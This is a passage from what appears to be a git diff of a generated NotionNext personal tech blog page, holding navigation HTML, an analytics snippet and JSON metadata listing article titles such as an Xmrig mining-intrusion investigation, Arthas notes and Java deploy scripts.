border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>NotionNext BLOG | Search | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="Both Savage"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="NotionNext BLOG | Search | Both Savage"/><meta property="og:description" content="Both Savage"/><meta property="og:url" content="https://bothsavage.github.io//search/NotionNext BLOG"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="Both Savage"/><meta name="twitter:title" content="NotionNext BLOG | Search | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/search/%5Bkeyword%5D/page/%5Bpage%5D-8f5f38a8283f89e0.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 